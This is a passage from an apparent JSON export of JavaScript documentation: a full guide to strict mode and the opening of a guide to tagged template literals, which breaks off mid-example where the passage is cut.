    "content": "---\ntitle: \"JavaScript Strict Mode\"\nsidebarTitle: \"Strict Mode: Catching Common Mistakes\"\ndescription: \"Learn JavaScript strict mode and how 'use strict' catches common mistakes. Understand silent errors it prevents, how this changes, and when to use it.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Language Mechanics\"\n\"article:tag\": \"strict mode, use strict, javascript errors, sloppy mode, strict mode rules, global scope\"\n---\n\nWhy doesn't JavaScript yell at you when you misspell a variable name? Why can you accidentally create global variables without any warning? And why do some errors just... silently disappear?\n\n```javascript\n// In regular JavaScript (sloppy mode)\nfunction calculateTotal(price) {\n  // Oops! Typo in variable name - no error, just creates a global\n  totall = price * 1.1\n  return total  // ReferenceError - but only here!\n}\n```\n\nThe answer is that JavaScript was designed to be forgiving. Too forgiving. [**Strict mode**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) is an opt-in way to catch these mistakes early, turning silent failures into actual errors you can fix.\n\n```javascript\n\"use strict\"\n\nfunction calculateTotal(price) {\n  totall = price * 1.1  // ReferenceError: totall is not defined\n  return total          // Never reaches here - error caught immediately!\n}\n```\n\n<Info>\n**What you'll learn in this guide:**\n- How to enable strict mode (and when it's automatic)\n- The most common silent errors that strict mode catches\n- How `this` behaves differently in strict mode\n- Why `eval` and `arguments` have restrictions\n- Reserved words that strict mode protects for future JavaScript\n- When you don't need to add `\"use strict\"` anymore\n</Info>\n\n<Warning>\n**Prerequisite:** This guide references [Scope & Closures](/concepts/scope-and-closures) and [this, call, apply & bind](/concepts/this-call-apply-bind). If you're not comfortable with those yet, you can still follow along, but reading them first will make the examples clearer.\n</Warning>\n\n---\n\n## What is Strict Mode?\n\n**Strict mode** is an opt-in restricted variant of JavaScript, introduced in ECMAScript 5 (2009). It catches common mistakes by converting silent errors into thrown exceptions and disabling confusing features. Enable it by adding `\"use strict\"` at the beginning of a script or function. According to [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode), strict mode applies different semantics to normal JavaScript: it eliminates some silent errors, fixes mistakes that prevent engine optimizations, and prohibits syntax likely to conflict with future ECMAScript versions.\n\n---\n\n## The Safety Net Analogy\n\nThink of strict mode like the safety net under a trapeze artist.\n\nWithout the net, a small mistake might go unnoticed. The artist might develop bad habits, make minor errors in form, and never realize it until something goes seriously wrong.\n\nWith the net in place, those small mistakes become obvious. When you slip, you notice immediately. You can correct your form before bad habits become permanent.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    SLOPPY MODE vs STRICT MODE                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  SLOPPY MODE (Default)                  STRICT MODE (\"use strict\")       │\n│  ─────────────────────                  ─────────────────────────        │\n│                                                                          │\n│  ┌──────────────────────┐               ┌──────────────────────┐         │\n│  │  mistakeVar = 5      │               │  mistakeVar = 5      │         │\n│  │         ↓            │               │         ↓            │         │\n│  │   Creates global     │               │   ReferenceError!    │         │\n│  │   (silent failure)   │               │   (caught early)     │         │\n│  └──────────────────────┘               └──────────────────────┘         │\n│                                                                          │\n│  ┌──────────────────────┐               ┌──────────────────────┐         │\n│  │  NaN = 42            │               │  NaN = 42            │         │\n│  │         ↓            │               │         ↓            │         │\n│  │   Does nothing       │               │   TypeError!         │         │\n│  │   (no feedback)      │               │   (can't assign)     │         │\n│  └──────────────────────┘               └──────────────────────┘         │\n│                                                                          │\n│  \"Forgiving\" but dangerous              Strict but helpful               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nStrict mode doesn't make JavaScript a different language. It just adds guardrails that catch problems before they become bugs.\n\n---\n\n## How to Enable Strict Mode\n\n### Whole-Script Strict Mode\n\nAdd `\"use strict\";` as the very first statement in your file:\n\n```javascript\n\"use strict\"\n\n// Everything in this file is now in strict mode\nlet validVariable = 10\ninvalidVariable = 20  // ReferenceError!\n```\n\n<Warning>\n**The directive must be first.** If anything other than comments appears before `\"use strict\"`, it becomes a regular string and does nothing:\n\n```javascript\nlet x = 1\n\"use strict\"  // Too late! This is just a string now\n\ninvalidVariable = 20  // No error - strict mode isn't active\n```\n</Warning>\n\n### Function-Level Strict Mode\n\nYou can enable strict mode for just one function:\n\n```javascript\nfunction loose() {\n  badVariable = \"oops\"  // Creates global (sloppy mode)\n}\n\nfunction strict() {\n  \"use strict\"\n  badVariable = \"oops\"  // ReferenceError! (strict mode)\n}\n```\n\nThis is useful when adding strict mode to legacy codebases gradually.\n\n### Automatic Strict Mode: Modules and Classes\n\nHere's the good news: **you probably don't need to write `\"use strict\"` anymore.** The State of JS 2023 survey shows that over 80% of respondents use ES modules in their projects, meaning strict mode is automatically enabled for the vast majority of modern JavaScript code.\n\n[ES Modules](/concepts/es-modules) are automatically in strict mode:\n\n```javascript\n// myModule.js (or any file loaded as type=\"module\")\n// No \"use strict\" needed - it's automatic!\n\nexport function greet(name) {\n  mesage = `Hello, ${name}`  // ReferenceError! (strict mode is on)\n  return message\n}\n```\n\n[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are also automatically strict:\n\n```javascript\nclass Calculator {\n  add(a, b) {\n    // This method runs in strict mode automatically\n    reslt = a + b  // ReferenceError!\n    return result\n  }\n}\n```\n\n<Tip>\n**Quick Rule:** If you're writing modern JavaScript with `import`/`export` or classes, strict mode is already on. You only need `\"use strict\"` for standalone scripts that don't use modules.\n</Tip>\n\n---\n\n## Silent Errors That Become Real Errors\n\nThis is the biggest win of strict mode. JavaScript has many operations that silently fail in [sloppy mode](https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode). Strict mode turns these into actual errors you can see and fix.\n\n### 1. Accidental Global Variables\n\nThe most common JavaScript mistake. In sloppy mode, assigning to an undeclared variable creates a global:\n\n```javascript\n// ❌ SLOPPY MODE - silent bug\nfunction processUser(user) {\n  userName = user.name  // Typo! Creates window.userName\n  return userName.toUpperCase()\n}\n\nprocessUser({ name: \"Alice\" })\nconsole.log(window.userName)  // \"Alice\" - leaked to global!\n```\n\n```javascript\n// ✓ STRICT MODE - catches the bug\n\"use strict\"\n\nfunction processUser(user) {\n  userName = user.name  // ReferenceError: userName is not defined\n  return userName.toUpperCase()\n}\n```\n\nThis single change catches countless typos and copy-paste errors. According to a Stack Overflow analysis, accidental global variable creation is one of the top 10 most common JavaScript bugs, making this strict mode check especially valuable. See [Scope & Closures](/concepts/scope-and-closures) for more on how variable declarations work.\n\n### 2. Assignments to Read-Only Properties\n\nSome properties can't be changed. In sloppy mode, trying to change them does nothing. In strict mode, you get an error:\n\n```javascript\n// ❌ SLOPPY MODE - silent failure\nNaN = 42         // Does nothing\nundefined = true // Does nothing\nInfinity = 0     // Does nothing\n\nconst obj = {}\nObject.defineProperty(obj, \"fixed\", { value: 10, writable: false })\nobj.fixed = 20   // Does nothing - still 10\n```\n\n```javascript\n// ✓ STRICT MODE - actual errors\n\"use strict\"\n\nNaN = 42         // TypeError: Cannot assign to read-only property\nundefined = true // TypeError: Cannot assign to read-only property\n\nconst obj = {}\nObject.defineProperty(obj, \"fixed\", { value: 10, writable: false })\nobj.fixed = 20   // TypeError: Cannot assign to read-only property 'fixed'\n```\n\n### 3. Assignments to Getter-Only Properties\n\nIf a property only has a getter (no setter), assignment silently fails in sloppy mode:\n\n```javascript\nconst user = {\n  get name() {\n    return \"Alice\"\n  }\n}\n\n// ❌ SLOPPY MODE\nuser.name = \"Bob\"  // Silent failure\nconsole.log(user.name)  // Still \"Alice\"\n\n// ✓ STRICT MODE\n\"use strict\"\nuser.name = \"Bob\"  // TypeError: Cannot set property 'name' which has only a getter\n```\n\n### 4. Deleting Undeletable Properties\n\nBuilt-in properties like `Object.prototype` can't be deleted:\n\n```javascript\n// ❌ SLOPPY MODE - silent failure\ndelete Object.prototype  // Returns false, does nothing\ndelete Math.PI           // Returns false, does nothing\n\n// ✓ STRICT MODE - actual errors\n\"use strict\"\ndelete Object.prototype  // TypeError: Cannot delete property 'prototype'\n```\n\n### 5. Duplicate Parameter Names\n\nThis catches copy-paste errors in function definitions:\n\n```javascript\n// ❌ SLOPPY MODE - silently uses last value\nfunction sum(a, a, b) {\n  return a + a + b  // First 'a' is lost!\n}\nsum(1, 2, 3)  // Returns 7 (2 + 2 + 3), not 6\n\n// ✓ STRICT MODE - syntax error\n\"use strict\"\nfunction sum(a, a, b) {  // SyntaxError: Duplicate parameter name\n  return a + a + b\n}\n```\n\n### 6. Octal Literal Confusion\n\nLeading zeros in numbers can cause unexpected behavior:\n\n```javascript\n// ❌ SLOPPY MODE - confusing octal interpretation\nconst filePermissions = 0755  // This is 493 in decimal!\nconsole.log(filePermissions)  // 493\n\n// ✓ STRICT MODE - syntax error for legacy octal\n\"use strict\"\nconst filePermissions = 0755  // SyntaxError: Octal literals are not allowed\n\n// Use the explicit 0o prefix instead:\nconst correctPermissions = 0o755  // Clear: this is octal\nconsole.log(correctPermissions)   // 493\n```\n\n---\n\n## How `this` Changes in Strict Mode\n\nOne of the most important strict mode changes affects the [`this`](/concepts/this-call-apply-bind) keyword.\n\n### The Problem: Accidental Global Access\n\nIn sloppy mode, when you call a function without a context, `this` defaults to the global object (`window` in browsers, `global` in Node.js):\n\n```javascript\n// ❌ SLOPPY MODE - this = global object\nfunction showThis() {\n  console.log(this)\n}\n\nshowThis()  // Window {...} or global object\n```\n\nThis is dangerous because you might accidentally read or modify global properties:\n\n```javascript\n// ❌ SLOPPY MODE - accidental global modification\nfunction setName(name) {\n  this.name = name  // Sets window.name!\n}\n\nsetName(\"Alice\")\nconsole.log(window.name)  // \"Alice\" - leaked!\n```\n\n### The Solution: `this` is `undefined`\n\nIn strict mode, `this` remains `undefined` when a function is called without a context:\n\n```javascript\n// ✓ STRICT MODE - this = undefined\n\"use strict\"\n\nfunction showThis() {\n  console.log(this)\n}\n\nshowThis()  // undefined\n\nfunction setName(name) {\n  this.name = name  // TypeError: Cannot set property 'name' of undefined\n}\n```\n\nThis makes bugs obvious instead of silently corrupting global state.\n\n<Note>\n**Arrow functions are different.** They inherit `this` from their surrounding scope regardless of strict mode. This behavior is consistent and not affected by the sloppy/strict distinction.\n</Note>\n\n---\n\n## Restrictions on `eval` and `arguments`\n\nStrict mode makes [`eval`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) and [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) less magical (and less dangerous).\n\n### Can't Use as Variable Names\n\n```javascript\n// ❌ SLOPPY MODE - allowed but confusing\nvar eval = 10\nvar arguments = [1, 2, 3]\n\n// ✓ STRICT MODE - syntax error\n\"use strict\"\nlet eval = 10       // SyntaxError: Unexpected eval or arguments in strict mode\nlet arguments = []  // SyntaxError\n```\n\n### `eval` Doesn't Leak Variables\n\nIn sloppy mode, `eval` can create variables in the surrounding scope:\n\n```javascript\n// ❌ SLOPPY MODE - eval leaks variables\neval(\"var leaked = 'surprise!'\")\nconsole.log(leaked)  // \"surprise!\" - it escaped!\n\n// ✓ STRICT MODE - eval is contained\n\"use strict\"\neval(\"var contained = 'trapped'\")\nconsole.log(contained)  // ReferenceError: contained is not defined\n```\n\n### `arguments` Doesn't Sync with Parameters\n\nIn sloppy mode, `arguments` and named parameters are linked:\n\n```javascript\n// ❌ SLOPPY MODE - weird synchronization\nfunction weirdSync(a) {\n  arguments[0] = 99\n  return a  // Returns 99! Changed via arguments\n}\nweirdSync(1)  // 99\n\n// ✓ STRICT MODE - no synchronization\n\"use strict\"\nfunction noSync(a) {\n  arguments[0] = 99\n  return a  // Returns 1 - 'a' is independent\n}\nnoSync(1)  // 1\n```\n\n---\n\n## Reserved Words for Future JavaScript\n\nStrict mode reserves words that might be used in future versions of JavaScript:\n\n```javascript\n\"use strict\"\n\n// These are reserved and cause SyntaxError if used as identifiers:\nlet implements  // SyntaxError\nlet interface   // SyntaxError\nlet package     // SyntaxError\nlet private     // SyntaxError\nlet protected   // SyntaxError\nlet public      // SyntaxError\nlet static      // SyntaxError (except in class context)\n```\n\nThis prevents your code from breaking when JavaScript adds new features using these keywords.\n\n---\n\n## The `with` Statement is Forbidden\n\nThe [`with`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) statement is completely banned in strict mode:\n\n```javascript\n// ❌ SLOPPY MODE - with is allowed but confusing\nconst obj = { x: 10, y: 20 }\nwith (obj) {\n  console.log(x + y)  // 30 - but where do x and y come from?\n}\n\n// ✓ STRICT MODE - with is forbidden\n\"use strict\"\nwith (obj) {  // SyntaxError: Strict mode code may not include a with statement\n  console.log(x + y)\n}\n```\n\nThe `with` statement makes code unpredictable and impossible to optimize. Use [destructuring](/concepts/modern-js-syntax) instead:\n\n```javascript\n// ✓ BETTER - clear and explicit\nconst { x, y } = obj\nconsole.log(x + y)  // 30 - obviously from obj\n```\n\n---\n\n## Common Mistake: Adding `\"use strict\"` When It's Already On\n\nA frequent mistake is adding `\"use strict\"` to code that's already in strict mode:\n\n```javascript\n// myModule.js - ES Module (already strict!)\n\"use strict\"  // Unnecessary - modules are always strict\n\nexport function greet() {\n  // ...\n}\n```\n\n```javascript\nclass MyClass {\n  myMethod() {\n    \"use strict\"  // Unnecessary - class bodies are always strict\n  }\n}\n```\n\nThis doesn't cause errors, but it's redundant. In modern JavaScript:\n\n| Context | Strict Mode | Need `\"use strict\"`? |\n|---------|-------------|---------------------|\n| ES Modules (`import`/`export`) | Automatic | No |\n| Class bodies | Automatic | No |\n| Code inside `eval()` in strict context | Automatic | No |\n| Regular `<script>` tags | Sloppy by default | Yes |\n| Node.js CommonJS files | Sloppy by default | Yes |\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Strict mode catches silent failures** — Operations that would silently fail (like assigning to read-only properties) now throw errors you can see and fix.\n\n2. **`\"use strict\"` must be first** — Place it at the very top of a file or function, before any other statements.\n\n3. **Modules and classes are automatically strict** — If you use `import`/`export` or classes, strict mode is already on. No need to add the directive.\n\n4. **Accidental globals become errors** — The most common bug it catches. Assigning to an undeclared variable throws `ReferenceError` instead of creating a global.\n\n5. **`this` is `undefined` in loose function calls** — Calling a function without a context gives `this = undefined` instead of the global object. This prevents accidental global pollution.\n\n6. **`eval` is contained** — Variables created inside `eval()` stay inside. They don't leak into the surrounding scope.\n\n7. **Duplicate parameters are forbidden** — `function f(a, a) {}` is a syntax error, catching copy-paste bugs.\n\n8. **The `with` statement is banned** — Use destructuring instead for cleaner, more predictable code.\n\n9. **Reserved words are protected** — Words like `private`, `public`, `interface` can't be used as variable names, preparing your code for future JavaScript features.\n\n10. **Use strict mode everywhere** — There's no downside. Modern tooling and ES modules make this automatic.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What happens when you assign to an undeclared variable in strict mode?\">\n    **Answer:**\n    \n    You get a `ReferenceError`. In sloppy mode, this would silently create a global variable, which is almost never what you want.\n    \n    ```javascript\n    \"use strict\"\n    \n    function example() {\n      myVar = 10  // ReferenceError: myVar is not defined\n    }\n    ```\n    \n    This catches typos like `userName` vs `username` immediately instead of creating mysterious global variables.\n  </Accordion>\n  \n  <Accordion title=\"What is `this` inside a regular function call in strict mode?\">\n    **Answer:**\n    \n    It's `undefined`. In sloppy mode, it would be the global object (`window` or `global`).\n    \n    ```javascript\n    \"use strict\"\n    \n    function showThis() {\n      console.log(this)  // undefined\n    }\n    \n    showThis()\n    ```\n    \n    This prevents accidental reads or writes to global properties through `this`.\n  </Accordion>\n  \n  <Accordion title=\"Do you need to add 'use strict' to ES Modules?\">\n    **Answer:**\n    \n    No. ES Modules are automatically in strict mode. Adding `\"use strict\"` is harmless but unnecessary.\n    \n    ```javascript\n    // myModule.js\n    export function greet() {\n      // Already in strict mode - no directive needed\n      mistypedVar = \"oops\"  // ReferenceError (strict mode active)\n    }\n    ```\n    \n    The same applies to class bodies, which are also automatically strict.\n  </Accordion>\n  \n  <Accordion title=\"Why does strict mode forbid duplicate parameter names?\">\n    **Answer:**\n    \n    To catch copy-paste errors. In sloppy mode, duplicate parameters silently shadow each other:\n    \n    ```javascript\n    // Sloppy mode - confusing behavior\n    function add(a, a) {\n      return a + a  // The first 'a' is lost, uses second value twice\n    }\n    add(1, 2)  // Returns 4, not 3!\n    \n    // Strict mode - error\n    \"use strict\"\n    function add(a, a) {  // SyntaxError: Duplicate parameter name\n      return a + a\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What's wrong with the `with` statement that strict mode bans it?\">\n    **Answer:**\n    \n    The `with` statement makes it impossible to know where variables come from at a glance:\n    \n    ```javascript\n    with (someObject) {\n      x = 10  // Is this someObject.x or a variable x? Depends on runtime!\n    }\n    ```\n    \n    This ambiguity prevents JavaScript engines from optimizing your code and makes bugs hard to track down. Use [destructuring](/concepts/modern-js-syntax) instead:\n    \n    ```javascript\n    const { x, y, z } = someObject  // Clear and explicit\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Why can't you use words like 'private' or 'interface' as variable names in strict mode?\">\n    **Answer:**\n    \n    These words are reserved for potential future JavaScript features. Strict mode protects them so your code won't break when new syntax is added.\n    \n    ```javascript\n    \"use strict\"\n    \n    let private = 10  // SyntaxError: Unexpected strict mode reserved word\n    let interface = {}  // SyntaxError\n    ```\n    \n    Some of these words (like `static`) are already used in class definitions. Others may be used in future versions.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What does 'use strict' do in JavaScript?\">\n    The `\"use strict\"` directive enables strict mode, which converts silent errors into thrown exceptions, prevents accidental global variable creation, and disables confusing features like the `with` statement. As defined in the ECMAScript specification, strict mode applies a restricted variant of JavaScript semantics.\n  </Accordion>\n\n  <Accordion title=\"Is strict mode still necessary with ES modules?\">\n    No. ES modules are automatically in strict mode, so adding `\"use strict\"` is redundant when using `import`/`export` syntax. Class bodies are also automatically strict. You only need the directive for standalone `<script>` tags or Node.js CommonJS files that don't use modules.\n  </Accordion>\n\n  <Accordion title=\"Does strict mode affect JavaScript performance?\">\n    Strict mode can improve performance in some cases. MDN documents that strict mode fixes mistakes that make it difficult for JavaScript engines to perform optimizations. By eliminating features like `with` and restricting `eval`, engines can make better assumptions about your code during compilation.\n  </Accordion>\n\n  <Accordion title=\"What happens to 'this' in strict mode?\">\n    In strict mode, `this` is `undefined` in functions called without an explicit context, instead of defaulting to the global object (`window` or `global`). This prevents accidental reads and writes to global properties. Arrow functions are unaffected because they inherit `this` from their surrounding scope regardless of mode.\n  </Accordion>\n\n  <Accordion title=\"Can you disable strict mode after enabling it?\">\n    No. Once strict mode is enabled for a script or function, it cannot be turned off within that scope. There is no `\"use sloppy\"` counterpart. If you need non-strict behavior, isolate that code in a separate non-strict script or wrap it in a function without the directive.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"ES Modules\" icon=\"box\" href=\"/concepts/es-modules\">\n    Modules are automatically in strict mode. Learn the modern way to organize JavaScript code.\n  </Card>\n  <Card title=\"this, call, apply & bind\" icon=\"bullseye\" href=\"/concepts/this-call-apply-bind\">\n    Deep dive into how `this` works and why strict mode changes its default behavior.\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Understand how strict mode's scope changes relate to JavaScript's scoping rules.\n  </Card>\n  <Card title=\"Temporal Dead Zone\" icon=\"clock\" href=\"/beyond/concepts/temporal-dead-zone\">\n    Another language mechanic that catches variable access errors early.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Strict Mode — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode\">\n    The complete reference for all strict mode changes and behaviors.\n  </Card>\n  <Card title=\"Sloppy Mode — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode\">\n    MDN's glossary entry on the default non-strict mode.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"The Modern Mode, 'use strict'\" icon=\"newspaper\" href=\"https://javascript.info/strict-mode\">\n    A concise overview from javascript.info covering when and why to use strict mode. Great for a quick refresher.\n  </Card>\n  <Card title=\"What is Strict Mode in JavaScript?\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/what-is-strict-mode-in-javascript/\">\n    freeCodeCamp's beginner-friendly explanation with practical examples of each strict mode restriction.\n  </Card>\n  <Card title=\"Strict Mode — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode\">\n    The definitive reference covering every strict mode change. Includes detailed explanations of edge cases and browser compatibility notes.\n  </Card>\n  <Card title=\"Transitioning to Strict Mode\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode\">\n    MDN's guide for migrating existing codebases to strict mode. Covers common issues you'll encounter and how to resolve them.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Strict Mode\" icon=\"video\" href=\"https://www.youtube.com/watch?v=uqUYNqZx0qY\">\n    Web Dev Simplified explains strict mode with clear examples of the errors it catches and why you should use it.\n  </Card>\n  <Card title=\"Strict Mode in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=JEDub1lG8o0\">\n    Fireship's rapid-fire overview covering the key strict mode changes. Perfect for a quick introduction.\n  </Card>\n  <Card title=\"JavaScript 'use strict'\" icon=\"video\" href=\"https://www.youtube.com/watch?v=G9QTBS2x8U4\">\n    Dcode walks through practical examples of strict mode errors, showing exactly what breaks and why. Good for visual learners.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/tagged-template-literals.mdx",
    "content": "---\ntitle: \"Tagged Template Literals\"\nsidebarTitle: \"Tagged Template Literals\"\ndescription: \"Learn JavaScript tagged template literals. Understand tag functions, access raw strings, and build HTML sanitizers and DSLs.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Modern Syntax & Operators\"\n\"article:tag\": \"tagged template literals, template strings, tag functions, dsl, html sanitizers\"\n---\n\nHow do libraries like GraphQL and Lit HTML let you write special syntax inside JavaScript template literals? How can a function intercept and transform template strings before they become a final value?\n\n```javascript\n// A tag function receives strings and values separately\nfunction highlight(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : ''\n    return result + str + value\n  }, '')\n}\n\nconst name = 'Alice'\nconst age = 30\n\nconsole.log(highlight`User ${name} is ${age} years old`)\n// \"User <mark>Alice</mark> is <mark>30</mark> years old\"\n```\n\nThe answer is **tagged template literals**. Introduced in the ECMAScript 2015 specification, they let you define a function that processes the template's static strings and dynamic values separately, giving you complete control over the final result. This unlocks powerful patterns like HTML sanitization, internationalization, and domain-specific languages.\n\n<Info>\n**What you'll learn in this guide:**\n- What tagged template literals are and how they differ from regular template literals\n- The tag function signature: the strings array, values, and the `raw` property\n- How [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw) works as JavaScript's built-in tag\n- Building custom tag functions for HTML escaping and security\n- Creating reusable templates and domain-specific languages (DSLs)\n- Common mistakes and edge cases to watch out for\n- Brief mention of TypeScript template literal types\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand basic [template literals](/concepts/modern-js-syntax#template-literals) (backticks, `${expression}` interpolation). If you're not comfortable with those, review that section first.\n</Warning>\n\n---\n\n## What are Tagged Template Literals?\n\n**Tagged template literals** are a way to call a function using a template literal. Instead of parentheses, you place the function name directly before the backtick. The function (called a \"tag\") receives the template's strings and interpolated values as separate arguments, allowing it to process them however it wants before returning a result.\n\n```javascript\n// Regular template literal - just produces a string\nconst message = `Hello ${name}`\n\n// Tagged template literal - calls the function 'myTag'\nconst result = myTag`Hello ${name}`\n```\n\nThe key difference: a regular template literal automatically concatenates strings and values into one string. A tagged template literal passes everything to your function first, and your function decides what to return. It doesn't even have to return a string.\n\n---\n\n## The Mail Merge Analogy\n\nThink of tagged templates like a mail merge in a word processor.\n\nImagine you're sending personalized letters. You have a template with placeholders: \"Dear `{name}`, your order `{orderNumber}` has shipped.\" The mail merge system receives both the static template parts and the dynamic values separately, then combines them according to its rules.\n\nA tag function works the same way. It receives the static strings (\"Dear \", \", your order \", \" has shipped.\") and the dynamic values (\"Alice\", \"12345\") separately. This separation is what makes tagged templates powerful. You can:\n\n- **Escape** the values to prevent security issues\n- **Transform** the values before inserting them\n- **Validate** the values match expected types\n- **Return** something other than a string entirely\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    HOW TAG FUNCTIONS WORK                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   myTag`Hello ${name}, you have ${count} messages`                       │\n│         │      │       │         │                                       │\n│         │      │       │         └──────────────────┐                    │\n│         │      │       └────────────────┐           │                    │\n│         │      └──────────┐             │           │                    │\n│         └────┐            │             │           │                    │\n│              │            │             │           │                    │\n│              ▼            ▼             ▼           ▼                    │\n│   ┌──────────────────────────────────────────────────────────┐          │\n│   │  myTag(strings, ...values)                               │          │\n│   │                                                          │          │\n│   │  strings = [\"Hello \", \", you have \", \" messages\"]        │          │\n│   │  values  = [name, count]                                 │          │\n│   │                                                          │          │\n│   │  strings.length === values.length + 1  (always true!)    │          │\n│   └──────────────────────────────────────────────────────────┘          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## How Tag Functions Work\n\nA tag function receives two types of arguments:\n\n1. **First argument:** An array of string literals (the static parts)\n2. **Remaining arguments:** The evaluated expressions (the dynamic values)\n\n### The Basic Signature\n\n```javascript\nfunction myTag(strings, ...values) {\n  console.log(strings)  // Array of static strings\n  console.log(values)   // Array of interpolated values\n  return 'whatever you want'\n}\n```\n\nLet's trace through an example:\n\n```javascript\nfunction inspect(strings, ...values) {\n  console.log('Strings:', strings)\n  console.log('Values:', values)\n  console.log('String count:', strings.length)\n  console.log('Value count:', values.length)\n}\n\nconst fruit = 'apple'\nconst count = 5\n\ninspect`I have ${count} ${fruit}s`\n// Strings: [\"I have \", \" \", \"s\"]\n// Values: [5, \"apple\"]\n// String count: 3\n// Value count: 2\n```\n\n### The Golden Rule\n\nThere's always **one more string than there are values**. This is because:\n\n- A template starts with a string (possibly empty)\n- Each value is surrounded by strings\n- A template ends with a string (possibly empty)\n\n```javascript\nfunction countParts(strings, ...values) {\n  return `${strings.length} strings, ${values.length} values`\n}\n\nconsole.log(countParts`${1}`)           // \"2 strings, 1 values\"\nconsole.log(countParts`x${1}`)          // \"2 strings, 1 values\"\nconsole.log(countParts`${1}y`)          // \"2 strings, 1 values\"\nconsole.log(countParts`x${1}y`)         // \"2 strings, 1 values\"\nconsole.log(countParts`x${1}y${2}z`)    // \"3 strings, 2 values\"\n```\n\nThis predictable structure makes it easy to interleave strings and values:\n\n```javascript\nfunction interleave(strings, ...values) {\n  let result = ''\n  for (let i = 0; i < values.length; i++) {\n    result += strings[i] + values[i]\n  }\n  result += strings[strings.length - 1]  // Don't forget the last string!\n  return result\n}\n\nconst name = 'World'\nconsole.log(interleave`Hello, ${name}!`)  // \"Hello, World!\"\n```\n\n### A Cleaner Pattern with reduce\n\nThe [`reduce`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) method handles the interleaving elegantly:\n\n```javascript\nfunction simple(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] !== undefined ? values[i] : ''\n    return result + str + value\n  }, '')\n}\n```\n\n---\n\n## The Raw Strings Property\n\nThe first argument to a tag function isn't just an array. It has a special `raw` property containing the raw, unprocessed string literals.\n\n### Cooked vs Raw\n\n- **Cooked strings** (`strings`): Escape sequences are processed (`\\n` becomes a newline)\n- **Raw strings** (`strings.raw`): Escape sequences are preserved as-is (`\\n` stays as backslash-n)\n\n```javascript\nfunction showBoth(strings) {\n  console.log('Cooked:', strings[0])\n  console.log('Raw:', strings.raw[0])\n}\n\nshowBoth`Line1\\nLine2`\n// Cooked: \"Line1\n// Line2\"              (actual newline character)\n// Raw: \"Line1\\\\nLine2\" (the literal characters \\ and n)\n```\n\nThis distinction matters when you're building tools that need to preserve the original source text, like syntax highlighters or code formatters.\n\n### Invalid Escape Sequences\n\nIn regular template literals, invalid escape sequences cause syntax errors:\n\n```javascript\n// SyntaxError in a normal template literal\n// const bad = `\\unicode`  // Error: Invalid Unicode escape sequence\n```\n\nBut in tagged templates, invalid escapes are allowed. The cooked value becomes `undefined`, but the raw value is preserved:\n\n```javascript\nfunction handleInvalid(strings) {\n  console.log('Cooked:', strings[0])\n  console.log('Raw:', strings.raw[0])\n}\n\nhandleInvalid`\\unicode`\n// Cooked: undefined\n// Raw: \"\\\\unicode\"\n```\n\nThis lets tagged templates work with DSLs (like LaTeX or regex patterns) that use backslash syntax differently than JavaScript.\n\n---\n\n## String.raw: The Built-in Tag\n\nJavaScript includes one built-in tag function: [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw). As MDN documents, it returns a string where escape sequences are not processed — the only tag function provided by the standard library.\n\n### Basic Usage\n\n```javascript\n// Normal template literal - escape sequences are processed\nconsole.log(`Line1\\nLine2`)\n// Line1\n// Line2\n\n// String.raw - escape sequences stay as literal characters\nconsole.log(String.raw`Line1\\nLine2`)\n// \"Line1\\nLine2\"\n```\n\n### Perfect for File Paths\n\nWindows file paths are much cleaner with `String.raw`:\n\n```javascript\n// 